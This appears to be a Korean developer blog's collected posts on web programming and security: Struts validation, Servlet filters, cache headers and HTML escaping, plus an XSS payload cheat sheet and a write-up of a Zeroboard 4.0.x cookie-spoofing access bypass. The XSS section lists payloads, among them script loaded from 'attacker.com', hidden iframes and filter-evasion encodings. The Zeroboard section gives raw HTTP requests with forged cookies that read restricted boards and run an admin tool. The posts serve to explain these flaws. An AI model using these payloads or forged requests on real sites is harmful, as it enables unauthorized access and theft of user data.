//-->
</SCRIPT>

<BODY>
<TABLE width="300" border="1">
<TR onMouseOver="setTrColor(this, '#c0c0c0')" >
        <TD>1</TD>
        <TD>2</TD>
        <TD>3</TD>
</TR>
<TR onMouseOver="setTrColor(this, '#c0c0c0')">
        <TD>4</TD>
        <TD>5</TD>
        <TD>6</TD>
</TR>
<TR onMouseOver="setTrColor(this, '#c0c0c0')">
        <TD>7</TD>
        <TD>8</TD>
        <TD>9</TD>
</TR>
<TR onMouseOver="setTrColor(this, '#c0c0c0')">
        <TD>7</TD>
        <TD>8</TD>
        <TD>9</TD>
</TR>

</TABLE>
</BODY>
</HTML>

-------------------------

<td onMouseOver="this.style.backgroundColor='#cccccc'" style="CURSOR: hand" onMouseOut="this.style.backgroundColor=''" bgColor=#e4e4e4> </td>

Posted by 1010
반응형

/** 기준소스 IE 전용
    //spec1
     if(document.all.part[0].checked== true) { 
       document.all.spec1[0].disabled=false;
       document.all.spec1[1].disabled=false;
     }else  { 
       document.all.spec1[0].disabled=true;
       document.all.spec1[1].disabled=true;
     }
 
  //spec2  
      if(document.all.part[1].checked== true) { 
       document.all.spec2[0].disabled=false;
       document.all.spec2[1].disabled=false;
     }else  { 
       document.all.spec2[0].disabled=true;
       document.all.spec2[1].disabled=true;
     }
    
   
   //spec3 
     if(document.all.part[2].checked== true) { 
       document.all.spec3[0].disabled=false;
       document.all.spec3[1].disabled=false;
     }else  { 
       document.all.spec3[0].disabled=true;
       document.all.spec3[1].disabled=true;
     }
    
      //spec4 
     if(document.all.part[3].checked== true) { 
       document.all.spec4[0].disabled=false;
       document.all.spec4[1].disabled=false;
       document.all.spec4[2].disabled=false;
     }else  { 
       document.all.spec4[0].disabled=true;
       document.all.spec4[1].disabled=true;
       document.all.spec4[2].disabled=true;
     }
     
     //spec5
     if(document.all.part[4].checked== true) { 
       document.all.spec5[0].disabled=false;
       document.all.spec5[1].disabled=false;
       document.all.spec5[2].disabled=false;
     }else  { 
       document.all.spec5[0].disabled=true;
       document.all.spec5[1].disabled=true;
       document.all.spec5[2].disabled=true;
     }
    
     //spec6 
     if(document.all.part[5].checked== true) { 
       document.all.spec6[0].disabled=false;
       document.all.spec6[1].disabled=false;
       document.all.spec6[2].disabled=false;
     }else  { 
       document.all.spec6[0].disabled=true;
       document.all.spec6[1].disabled=true;
       document.all.spec6[2].disabled=true;
     }
    
       //spec7
     if(document.all.part[6].checked== true) { 
       document.all.spec7[0].disabled=false;
       document.all.spec7[1].disabled=false;
       document.all.spec7[2].disabled=false;
     }else  { 
       document.all.spec7[0].disabled=true;
       document.all.spec7[1].disabled=true;
       document.all.spec7[2].disabled=true;
     }
   
   //spec8
     if(document.all.part[7].checked== true) { 
       document.all.spec8[0].disabled=false;
       document.all.spec8[1].disabled=false;
     }else  { 
       document.all.spec8[0].disabled=true;
       document.all.spec8[1].disabled=true; 
     }
    
     //spec9
     if(document.all.part[8].checked== true) { 
       document.all.spec9[0].disabled=false;
       document.all.spec9[1].disabled=false;
       document.all.spec9[2].disabled=false;
     }else  { 
       document.all.spec9[0].disabled=true;
       document.all.spec9[1].disabled=true; 
       document.all.spec9[2].disabled=true;
     }
    
     //spec10
     if(document.all.part[9].checked== true) { 
       document.all.spec10[0].disabled=false;
       document.all.spec10[1].disabled=false;
       document.all.spec10[2].disabled=false;
     }else  { 
       document.all.spec10[0].disabled=true;
       document.all.spec10[1].disabled=true;
       document.all.spec10[2].disabled=true;
     }
     */

     // 2009.10.26 (anhanho)
     // 지원분야에 맞는 자격요건 체크
     // IE,EE
     var specList = [2,2,2,3,3,3,3,2,3,3]; // 배열의 값이 자동으로 세팅되도록 바꿔줘야함...
     for (var i = 0; i < document.frmInput.part.length; i++) { 
    for(var x = 0 ; x < specList[i] ; x++){
     if(document.frmInput.part[i].checked == true){ 
      document.getElementsByName('spec'+(i+1))[x].disabled = false;
     }else{
      document.getElementsByName('spec'+(i+1))[x].checked = false; 
      document.getElementsByName('spec'+(i+1))[x].disabled = true; 
     }
       }
     }

Posted by 1010
반응형

Validator Plugin 사용! ( 톰캣 서버를 재시작 할 필요가 없다 )


-> 간단 버젼 : 공백 유무만 체크하기

-> 필수 수정파일 : validator.xml,  ActionForm( 폼빈 ), struts-config.xml, jsp파일

-> 참고 파일 : validator-rules.xml


<<  로그인시 아이디의 공백 유무 검사하기  >>

첫 페이지 이름 : login.jsp
폼 빈 이름 : LoginForm.java
액션빈 이름 : LoginAction.java


일단 struts로 동작하도록 모든 링크 설정을 한다..
그리고 나서 공백유무의 validation 시작~~


1. Form 자바파일의 상속을 ActionForm에서 ValidatorForm 으로 변경

 (예)   public class LoginForm extends ActionForm  을

          public class LoginForm extends ValidatorForm  으로 변경


2. validator.xml 작성

 <formset>

  <form name="loginForm">               struts-config.xml에서 등록한 FormBean의 name을 연결

   <field property="id" depends="required">        property는 검사할 곳(login.jsp 파일의 아이디 입력부분의 name값)
                                                                    required는 공백유무 검사하는 명령어

    <arg key="loginForm.id" />    key는 보여질 에러 메세지이름, 이 이름대로 MessageResources.properties에 등록
   
   </field>
 
  </form>
 
 </formset>


3. jsp 파일에 html:errors 처리 위해 한줄 추가하기

 <%@taglib prefix="html" uri="/WEB-INF/struts-html.tld" %>

 <html:errors />  입력하면 에러메세지 보여줌


4. 에러 메세지가 보이지 않을 때는 struts-config.xml 의 <action-mappings>안의 <action>의 validate를 true로 바꾸고 input="/돌아갈곳.jsp" 추가

(예) <action path="/login" name="loginForm" type="app.web.LoginAction" validate="true" input="/login.jsp">

 

[참고] 에러 메세지가 보여지는 방법


1. validation의 종류에 따라 validator-rules.xml 파일안의  해당 validator name의 msg 를 찾는다.


(예) validation의 종류가 required(공백체크) 라면 


------- validator-rules.xml 파일안에서 아래 msg="errors.required" 를 찾는다..

<validator name="required"
            classname="org.apache.struts.validator.FieldChecks"
               method="validateRequired"
         methodParams="java.lang.Object,
                       org.apache.commons.validator.ValidatorAction,
                       org.apache.commons.validator.Field,
                       org.apache.struts.action.ActionMessages,
                       javax.servlet.http.HttpServletRequest"
                  msg="errors.required"/>

------------


2. MessageResources.properties 파일에서 errors.required를 찾으면    errors.required={0} is required. 라고 되어있지~

요것이 보이는 메세지 이고,,, {0} 부분은 우리가 직접 셋팅 가능


3. {0} 부분은 validator.xml 내의 <arg key="loginForm.id" />  를 보면 loginForm.id라는 이름으로 등록되어있으므로

   이 이름대로 MessageResources.properties에 등록 되어 있는 것을 출력한다.

 loginForm.id 라는 이름은 사용자가 맘대로 바꿔줘도 상관없는 그냥 이름 임.. ㅋㅋㅋ


MessageResources.properties에

                                                   loginForm.id=ㅋㅋㅋㅋ 테스트다~                 

 라고 추가하면


최종 에러메세지는 


ㅋㅋㅋㅋ 테스트다~ is required.        이렇게 된다!!

출처 : http://www.underroom.com/?sort_index=regdate&order_type=asc&mid=java&page=2&document_srl=4485

Posted by 1010
81.웹취약점&해결방안2009. 10. 21. 16:41
반응형
Servlet2.3 API Filter interface Implementation
 
Servlet API 2.3에서 추가된 Filter interface를 이용한 Web tier Design Guideline 및 Example ( 2003/03/12 ) 248
Written by specular - 전홍성
1 of 1
 

Article 요약:

Web tier Design Guideline 및 Servlet 2.3 API의 Filter interface의 사용 용도 및 Example 소개

Article 내용:

  Servlet 2.3 spec에서 추가된 Filter interface는 Web component에 대한 Request하기전, Response후에 기능의 확장및 변경을 지원하기 위한 interface이다. 이전까지, Servlet/JSP를 개발할때, 코드를 재사용하기 위한 방법, 즉 공통적인 기능을 하나의 소스파일로 관리하기 위해, 상속을 이용하거나, RequestDispatcher의 include(),forward()를 이용했다. 혹은 Web tier design guideline으로 재시된 Model -Ⅱ를 이용하기도 했다.

사용자 삽입 이미지

Model -Ⅰ

  위의 Model -Ⅰ은 각각의 jsp를 request하면, jsp는 presetation을 담당하고, JSP Bean, Custom Tag Handler가 Businsess logic을 담당하게 되는 것이다. 여기서 코드를 재사용하거나 공통적인 기능 통합 관리 하기 위해서는 RequestDistpatcher의 include(), forward()를 이용하는 것이다. 그리고, Servlet은 권한 check, logging과 같은 화면과는 관련 없는 부분의 컴포넌트로 이용이 되어 지는 것이다.

사용자 삽입 이미지

Model -Ⅱ
  Model -Ⅱ는 Facade Pattern이다. 코드의 재 사용성, 공통적 기능을 통합 관리하기 위한 Design이라 할수 있겠다. 모든 Request는 Front Controller인 Conversational Controller가 먼저 받아 공통적인 기능을 처리하게 된다. 그리고, 이 Front Controller는 실재 파라미터로 넘어오는 request를 dispatch(Action)하여 Presentation과 business logic을 처리하게 되는 것이고, response를 modify하거나, 공통적인 presentation을 위해 JSP,servlet을 include할수도 있다.
  위에서 간단하게 설명한 이러한 guideline과는 별도로 Servlet2.3에서는 Filter라는 interface를 제공한다. Model -Ⅱ와 같은 Design을 손쉽게 구현할수 있고, 개발된 소스를 변경하지 않고, Security, Logging, CRM을 위한 request data 분석등의 기능을 손쉽게 확장하기 위한 기능으로써 Filter interface를 사용할수 있다. Filter는 Web Container에 의해 지원되어 지는 것으로, Request전, Response후의 어떤 기능을 추가할수 있다. 다음은 Filter의 사용예이다.
		1) Authentication Filters 
		2) Logging and Auditing Filters 
		3) Image conversion Filters 
		4) Data compression Filters 
		5) Encryption Filters 
		6) Tokenizing Filters 
		7) Filters that trigger resource access events 
		8) XSL/T filters 
		9) Mime-type chain Filter 
  Filter를 관련된 interface는 다음과 같다.
사용자 삽입 이미지

  • Filter : 특정 Resource에 대한 Request나, Resource로 부터의 response에 추가적인 Filtering 작업을 수행하기 위한 object를 정의 하기 위한 interface이다. Web container의 configuration에 의해 Filter class와 Resource가 설정된다. 이렇게 설정되면, 설정된 resource에 대한 request는 Filter의 doFilter() 메소드가 실행이 되어 진다.
  • FilterConfig : Servlet container에 의해 만들어 지는 filter Configuration object이다. ServletContext객체를 얻어 낼수 있고, web Container에 설정된 정보(name, init parameter)들을 얻어 낼수 있다.
  • FilterChain : Filter의 doFilter() 메소드의 parameter로 Container에 의해 생성되어 넘어오는 객체로, chain을 형성하기 위해, 즉 Filter를 실행하고 다음 Filter로 dispatch하기위해 제공되는 객체이다. Filter의 제일 끝에는 결국 request한 resource를 dispatch해야 한다.

      자 그럼.. Filter가 실재 어떻게 동작을 하는지 알아 보기위해 간단한 소스와 설정방법을 살펴 보겠다.
                
    package specular.servlet;
    
    import java.io.*;
    import javax.servlet.*;
    import javax.servlet.http.*;
    
    public class ServletFilter implements Filter 
    {
    	private FilterConfig filterConfig;
    	private ServletContext context;
    	
    	//FilterConfig 객체를 초기화 하기위한 callback method
    	//초기화 잡업을 구현 한다.
    	public void setFilterConfig(FilterConfig filterConfig)
    	{
    		System.out.println("ServletFilter.setFilterConfig()");
    		this.filterConfig = filterConfig;
    		this.context = filterConfig.getServletContext();
    		//init parameter 얻기
    		System.out.println(filterConfig.getInitParameter("info"));
    	}
    	
    	public FilterConfig getFilterConfig(){
    		return this.filterConfig;
    	}
    	
    	//설정된 Resource에 대한 request시 실행된다.
    	public void doFilter(ServletRequest request,
    			ServletResponse response,
    			FilterChain chain)
    		throws java.io.IOException, ServletException
    	{
    		//Request시 공통기능 구현
    		System.out.println("ServletFilter.doFilter() : start");
    		
    		//실재 Reousrce를 dispatch
    		chain.doFilter(request,response);
    		
    		//Response시 공통기능 구현
    		System.out.println("ServletFilter.doFilter() : end");
    	}
    }
    

    테스트 환경은 Servlet 2.3 API를 구현한 Servlet/JSP container를 이용해야 하는데, 저는 Resin2.0 beta를 사용했습니다. Resin의 doc\WEB-INF\ 디렉토리 밑에 다음과 같이 web.xml 파일은 만든다.

                
    <web-app>
      <filter-mapping url-pattern='/*'
                      filter-name='specular.servlet.ServletFilter'>
           <init-param info='Servlet Filter Class'/>
      </filter-mapping>     
    </web-app> 

    위의 설정사항을 보면, document root 밑의 모든 resource에 대한 request는 specular.servlet.ServletFilter class에 의해 동작된다는 것을 설정했고, 그리고, init parameter를 추가로 하나 설정했다. web container마다 이 설정사항은 약간의 차이가 있다.

    테스트 결과는 다음과 같다.

    1. resin start
                
    D:\web\resin2.0\bin>httpd
    Resin 2.0.b2 (built Tue Apr 17 09:41:58 PDT 2001)
    Copyright(c) 1998-2001 Caucho Technology.  All rights reserved.
    
    Starting Resin on Mon, 09 Jul 2001 11:08:43 +0900 (GMT+09:00)
    http listening to *:8080
    srun listening to 127.0.0.1:6802            
    
    2. hello.jsp
                
    <% 
    	System.out.println("Hello Wrold");
    %>
    3. http://localhost:8080/hello.jsp Request후 console 출력 결과
                
    D:\web\resin2.0\bin>httpd
    Resin 2.0.b2 (built Tue Apr 17 09:41:58 PDT 2001)
    Copyright(c) 1998-2001 Caucho Technology.  All rights reserved.
    
    Starting Resin on Mon, 09 Jul 2001 11:22:19 +0900 (GMT+09:00)
    http listening to *:8080
    srun listening to 127.0.0.1:6802
    ServletFilter.setFilterConfig()
    Servlet Filter Class
    ServletFilter.doFilter() : start
    Hello Wrold
    ServletFilter.doFilter() : end
    위 결과를 보면, hello.jsp에 대한 request가 ServletFilter class에 의해 처리가 되는 것을 확인할 수 있다. Filter를 통해 Web tier단의 개발된 코드를 변경하지 않고, 기능의 추가 및 변경이 가능하고, 공통적인 기능을 Filter를 통해 통합 관리 할수있겠죠.

    2001.07.09 written by Jeon HongSeong

  •  
     
    1
    References

    출처 : http://www.50001.com/language/javaside/lec/javapattern_info/ee/servlet/Servlet2.3%20API%20Filter%20interface%20Implementation.htm
     
    Posted by 1010
    81.웹취약점&해결방안2009. 10. 21. 11:46
    반응형

    중요 정보를 표시하는 화면의 경우

    로그 아웃 후, 혹은 history back으로

    다시 보기가 불가능해야한다.

    cache를 사용하지 않기 위한 설정은 아래와 같다.


    html

    <meta http-equiv="Cache-Control" content="no-chache"/>

    <meta http-equiv="Expires" content="0"/>

    <meta http-equiv="Pragma" content="no-cache"/>


    servlet

    response.setHeader("Cache-Control", "no-chache");

    response.setHeader("Expires", "Sat, 01 Jan 1970 22:00:00 GMT");

    response.setHeader("Pragma", "no-cache");


    php

    header("Cache-Control:no-cache");

    header("Expires:0");

    header("Pragmano-cache");


    asp

    Response.AddHeader "Cache-Control", "no-cache"

    Response.AddHeader "Expires", "0"

    Response.AddHeader "Pragma", "no-cache"



    출처: Enterprise Application Design Core p228

    Posted by 1010
    81.웹취약점&해결방안2009. 10. 21. 11:44
    반응형

    Taglib 차원이 아닌 API 차원에서 XSS를 막아야할 경우

    Commons Lang 패키지의 StringEscapeUtils를 사용할 수 있다.


    참고: http://commons.apache.org/lang/api/org/apache/commons/lang/StringEscapeUtils.html#escapeHtml(java.lang.String)


     

    사용자 삽입 이미지
    Posted by 1010
    81.웹취약점&해결방안2009. 10. 21. 11:41
    반응형
    오랜만에 XSS를 검색하다가 잘 정리된 사이트를 발견하여 정리해 둡니다.

    XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.

    글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.


    1. XSS Test

    일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.

    예제1) 사용자의 쿠키값을 획득
    <script>alert(document.cookie);</script>

    예제2) 클릭 시 악성코드가 있는 사이트로 이동
    <a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>

    2. iframe 태그

    예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
    <iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>

    3. object 태그

    예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
    <object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>

    4. div 기법

    예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
    <div style="position:absolute; left:200; top:90; z-index:2;">
        <img src="images/test.jpg">
    </div>

    5. 인코딩 기법

    예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.

    원본 : <script>alert("test");</script>
    인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>

    6. Obfuscated 기법

    예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
    <script language="javascript">
        e = '0x00' + '5F';
        str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
        str = tmp = '';

        for(i=0; i<str1.length; i+=3)
        { 
            tmp = unescape(str1.slice(i,i+3));
            str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
        }

        document.write(str);
    </script>

    7. 기타우회 방법 (이 방법은 정확히 이해가 안되네)

    ;</script><script>alert("xss");</scr..

    출처 : http://blog.naver.com/sdream4?Redirect=Log&logNo=10046998900

    XSS 해킹 동영상 : http://video.naver.com/2008010622482514720
    Posted by 1010
    81.웹취약점&해결방안2009. 10. 21. 11:39
    반응형
    쿠키해킹 개념잡기    
    이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
    Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
    Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
    이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
    각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
    하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
    에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
    있게끔 Cookie 가 사용될 수도 있다.

    여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
    Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
    인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
    버전에는 Patch 가 되었다.

    zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.

    문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
    하기 때문이다.

    문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.

    1 function member_info()
    2 {
    3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
    4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
    5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
    6
    7 // 우선 쿠키가 존재할때;;
    8 if($cookie_userid&&$cookie_password)
    9 {
    10 // 접속 테이블에도 있는지를 검사;;
    11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
    12 user_id='$cookie_userid'"));
    13 // 접속테이블에도있으면 값을 갖고 옴;;
    14 if($check[0])
    15 {
    16 //다시 쿠키를 구움;;
    17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
    18 setcookie("zetyxboard_password",$cookie_password,0,"/");
    19 mysql_query("update $now_table set logtime='".time()."' where
    20 user_id='$cookie_userid'");
    21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
    22 user_id='$cookie_userid' and password='$cookie_password'"));
    23 }
    24 else
    25 {
    26 setcookie("zetyxboard_userid","",0,"/");
    27 setcookie("zetyxboard_password","",0,"/");
    28 $member[level]=10;
    29 }
    30 }
    31 else $member[level]=10;
    32 return $member;
    33 }

    이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
    가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
    게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
    함수이다.

    첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
    member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
    를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
    라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
    설정하였다.

    HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
    변수이다.

    zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
    페이지를 통해서 login 을 할때 설정이 된다.

    cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.

    1 /////////////////////////////////////////////////////////////////////////
    2 // 로그인 시키는 부분
    3 /////////////////////////////////////////////////////////////////////////
    4 function check_login($user_id,$password)
    5 {
    6 global $connect, $member_table, $now_table, $id;
    7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
    8 user_id='$user_id' and password=password('$password')"));
    9 if($check[no])
    10 {
    11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
    12 setcookie("zetyxboard_userid",$user_id,0,"/");
    13 setcookie("zetyxboard_password",$password[0],0,"/");
    14
    15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
    16 where user_id='$user_id'"));
    17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
    18 where user_id='$user_id'");
    19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
    20 values ('$user_id','$check[group_no]','".time()."')");
    21
    22 return 1;
    23 }
    24 else Error("로그인을 실패하였습니다.");
    25 }

    7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
    존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
    client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
    설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.

    그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
    에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
    런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
    됩니다. 그렇게 되면 login 이 안된 상태가 된다.)

    다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
    이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
    zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
    8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
    table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
    도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.

    하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
    board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
    이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
    zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
    zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
    있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
    올바른 사용자가 될 수 있다.

    여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
    (접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
    안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
    member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
    찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
    사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
    LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
    _table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
    같은 데이터는 없기 때문이다.

    member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
    검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.

    먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
    하는지 보면

    zboard.php

    1 if($setup[grant_list]<$member[level]&&!$is_admin)
    2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
    3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
    4 keyword=$keyword&no=$no&file=zboard.php");

    이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
    된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
    list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
    된다.
    (zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
    조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
    의미한다.)

    앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
    그러면 조건식은 이렇게 될 것이다.

    if($setup[grant_list]<0&&!$is_admin)

    어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
    체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
    할 수 있게 된다.

    만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
    통과하고 게시판을 읽을 수 있는지 알아보자.

    1 telnet targetip 80
    2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

    결과 :

    secret 게시판

    15 번 승진님 안녕하세요................ 방문객 2005/06/26
    14 번 여기 좋군요.... 나그네 2004/06/26
    13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
    12 번 저는 말이에요.. 해커지망생 2002/06/26
    ..........
    ..........

    1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
    은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
    고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
    password 는 아무 값이나 넣어줘도 된다.

    이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
    게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.

    view.php

    1 if($setup[grant_view]<$member[level]&&!$is_admin)
    2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
    3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
    4 keyword=$keyword&no=$no&file=zboard.php");

    view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
    no 는 해당 게시판의 글 번호를 뜻한다.

    위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
    통과할 수 있을 것다.

    그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
    보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.

    1 telnet targetip 80
    2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

    결과 :

    444 번 글

    이름 : 이승진

    제목 : 전 이승진이랑께롱~
    본문 : 케케케~.. 음.. 할말이 없군..

    2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
    다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.

    주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
    안된다.

    게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
    한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
    서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
    립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
    빈 값이 들어가는 것을 이용하여 통과할 수 있다.

    가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
    추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
    나오게 된다.

    trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.

    trace.php 소스 설명 공격 설명

    1 $member=member_info();
    2 if($member[is_admin]>1||$member[level]>1)
    3 Error("최고 관리자만이 사용할수 있습니다");

    1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
    2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
    한다.

    trace.php 의 실제 이용방법을 알아보자.

    1 telnet targetip 80
    2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
    HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;

    결과 :

    test1 게시판

    [kekek] test (2001-12-05 21:40:04 / beist-ip)
    [kekek] tet (2001-12-05 21:42:25 / beist-ip)
    [kekek] asdf (2001-12-05 21:44:40 / beist-ip)
    [kekek] asdf (2001-12-05 21:46:23 / beist-ip)
    [kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)

    2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
    전하고 이름에 이승진을 넣은 것이다.

    keykind 의 종류는 다음과 같다.

    keykind[0]=name
    keykind[1]=email
    keykind[2]=ip
    keykind[3]=subject
    keykind[4]=memo

    위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
